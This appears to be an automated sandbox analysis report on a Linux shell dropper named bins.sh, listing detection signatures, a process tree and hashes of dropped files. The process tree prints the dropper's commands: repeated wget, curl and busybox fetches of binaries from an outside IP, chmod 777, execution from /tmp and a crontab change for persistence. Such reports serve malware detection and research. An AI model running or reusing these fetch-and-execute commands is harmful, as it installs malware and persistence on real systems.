Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18/11/2024, 19:40

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241118-ydmlsaymdq
  • SHA256 f827420f4f24bd829edadf9030eb0c891c1a17487dccaaecd0bfa662d88c73b0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1648) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          ./dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            ./rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:756
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Writes file to tmp directory
              PID:773
            • /bin/chmod
              chmod 777 cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • File and Directory Permissions Modification
              PID:777
            • /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              ./cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
              • Executes dropped EXE
              PID:779
            • /bin/rm
              rm cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
              2⤵
                PID:782
              • /usr/bin/wget
                wget http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:783
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:794
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • File and Directory Permissions Modification
                PID:811
              • /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                ./OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                • Executes dropped EXE
                PID:812
              • /bin/rm
                rm OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                2⤵
                  PID:815
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:817
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:819
                • /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  ./DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:820
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:822
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:823
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:824
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:825
                      • /bin/rm
                        rm DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                          2⤵
                            PID:910
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                            2⤵
                              PID:915
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                              2⤵
                              • Writes file to tmp directory
                              PID:916
                            • /bin/chmod
                              chmod 777 lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                              2⤵
                              • File and Directory Permissions Modification
                              PID:919
                            • /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                              ./lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                              2⤵
                              • Executes dropped EXE
                              PID:920
                            • /bin/rm
                              rm lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                              2⤵
                                PID:928
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                2⤵
                                  PID:929
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                  2⤵
                                    PID:932
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:934
                                  • /bin/chmod
                                    chmod 777 YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:943
                                  • /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                    ./YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:945
                                  • /bin/rm
                                    rm YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                    2⤵
                                      PID:947
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                      2⤵
                                        PID:948
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                        2⤵
                                          PID:952
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:954
                                        • /bin/chmod
                                          chmod 777 qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:960
                                        • /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                          ./qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                          2⤵
                                          • Executes dropped EXE
                                          PID:962
                                        • /bin/rm
                                          rm qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                          2⤵
                                            PID:963
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                                            2⤵
                                              PID:964
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
                                              2⤵
                                                PID:968

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE

                                                  • Path /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh

                                                  • Path /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
                                                  • Size 99KB
                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF

                                                  • Path /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
                                                  • Size 111KB
                                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno

                                                  • Path /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
                                                  • Size 177KB
                                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS

                                                  • Path /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
                                                  • Size 119KB
                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT

                                                  • Path /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY

                                                  • Path /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
                                                  • Size 112KB
                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv

                                                  • Path /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
                                                  • Size 117KB
                                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.kiWVcl

                                                  • Path /var/spool/cron/crontabs/tmp.kiWVcl
                                                  • Size 210B
                                                  • SHA256 cf03ceb9ab00de7468df2292feaefff6764d7919f42d83f8f509463212388625
                                                  • MD5 SHA1 SHA512